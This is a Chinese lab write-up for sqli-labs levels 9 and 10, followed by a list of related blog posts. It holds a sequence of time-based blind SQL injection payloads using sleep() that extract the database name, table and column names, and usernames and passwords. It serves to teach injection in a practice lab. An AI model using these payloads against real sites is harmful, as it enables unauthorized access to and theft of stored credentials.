SQL注入sqli_labs靶场第九、十题

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

相关推荐
zgl_200537795 分钟前
ZGLanguage 解析SQL数据血缘 之 提取select语句中的源表名
大数据·数据库·c++·数据仓库·sql·数据库开发·etl
在风中的意志5 分钟前
[数据库SQL] [leetcode-584] 584. 寻找用户推荐人
数据库·sql·leetcode
么么...28 分钟前
深入理解数据库事务与MVCC机制
数据库·经验分享·sql·mysql
学编程就要猛3 小时前
MySQL:CRUD
数据库·sql·mysql
猴子年华、4 小时前
【每日一技】:SQL 常用函数实战速查表(函数 + 场景版)
java·数据库·sql·mysql
麦聪聊数据6 小时前
敏感数据安全吗?基于字段级血缘的 PII 数据全链路追踪
数据库·sql·安全
在风中的意志6 小时前
[数据库SQL] [leetcode-511] 511. 游戏玩法分析 I
数据库·sql·游戏
Bruce_Liuxiaowei6 小时前
(2025最后一篇博客)Metasploit框架攻击Windows实例:三种渗透路径
网络·windows·网络安全·网络攻击模型
week_泽8 小时前
Dvwa靶场搭建_错误汇总
web安全·网络安全·靶场·dvwa